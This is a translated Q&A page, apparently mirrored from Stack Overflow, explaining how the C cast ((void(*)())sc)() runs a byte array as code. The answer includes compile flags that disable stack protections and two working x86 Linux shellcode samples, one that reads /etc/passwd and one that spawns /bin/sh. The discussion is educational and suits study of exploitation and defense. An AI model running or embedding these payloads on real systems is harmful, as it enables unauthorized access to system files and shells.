繁体   English   中英

(void(*)() sc) () 是什么意思?

[英]what does (void(*)() sc) () mean?

unsigned char sc[] =

(一些长的二进制字符串)

int main()
{
    ((void(*)())sc)();
    return 0;
}

(void(*)() sc) ()在这里是什么意思? 我在 StackoverFlow 中看到“ *void(*)()表示不带参数的 void function”。 ` 我有三个问题

首先,正如上面的评论,我认为上面的代码必须在void(*)之前“ * ”。 但是,没有指针“*”,它运行良好。

其次,“ void(*)() sc 被()()包裹,例如(void(*)() sc)() 。有两次使用“ ()

第三,为什么它工作? 常见的,当我们调用一个function时,我们通常只写function的名字,比如function1(a, b); (void(*)() sc )() ”只是初始化..所以我认为 sc 尚未使用。 但是它运作良好。

这是在 main.js 中执行任何 shellcode 的技巧。

一起来分析一下好吗? (function 声明,不是你的 shellcode):

(void(*)() sc ) ();

首先让我们谈谈sc。 sc是一个被分配了 shellcode 的字节数组,这意味着任何事情都可能发生(因此它被正确地编辑了)。

然后将其转换为 function,确切地说是 function ptr:

void(*)() sc 

使用 void(*)() 您只需将 shellcode 转换为 function 指针,这意味着如果我们调用此 function ptr,如您所注意到的那样不带任何参数,它将指向 unsigned char 数组的第一个字节。 编译器会将您的 char 数组解释为要转换为机器代码的原始字节。

注意:无符号字符是一个字节。

最后是尾随(); 要求 function 在您启动程序后立即执行,用括号括起来。

简而言之,这是一种方便的方法来告诉 eip(保存程序下一次执行地址的寄存器)指向您的字节数组并轻松测试不同的 shellcode。

请注意,正如 dxiv 所述,这在阻止代码从数据区域执行的环境中不起作用,因为您的 function ptr 指向数据段。

如果要使其工作,则需要使用以下标志进行编译以启用 exacstack -z execstack ,如果它是 32 位的 shellcode,则可能还有-fno-stack-protector-m32

gcc -m32 -fno-stack-protector -z execstack shellcode.c && ./a.out 

读取 /etc/passwd (linux) 的示例:

unsigned char sc[] =

  "\x31\xc9"
  "\xf7"
  "\xe1\xb0"
      "\x05"
  "\x51\x68"

"\x73\x73\x77"
    "\x64"
    "\x68"
    "\x63"

"\x2f\x70\x61"
"\x68"  "\x2f"
"\x2f\x65\x74"
"\x89"   "\xe3"

"\xcd\x80\x93"
"\x91"
"\xb0"
"\x03\x31\xd2"

"\x66"    "\xba"
"\xff\x0f\x42"
"\xcd""\x80"
"\x92"    "\x31"

"\xc0\xb0\x04"
"\xb3"  "\x01"
"\xcd"  "\x80"
"\x93\xcd\x80";


int main()
{
    ((void(*)())sc)();
    return 0;
}

再开一个shell的例子:

#include <unistd.h>

unsigned char sc[] =
"\x31\xc0\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80";

int main()
{
    ((void(*)())sc)();
    return 0;
}

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM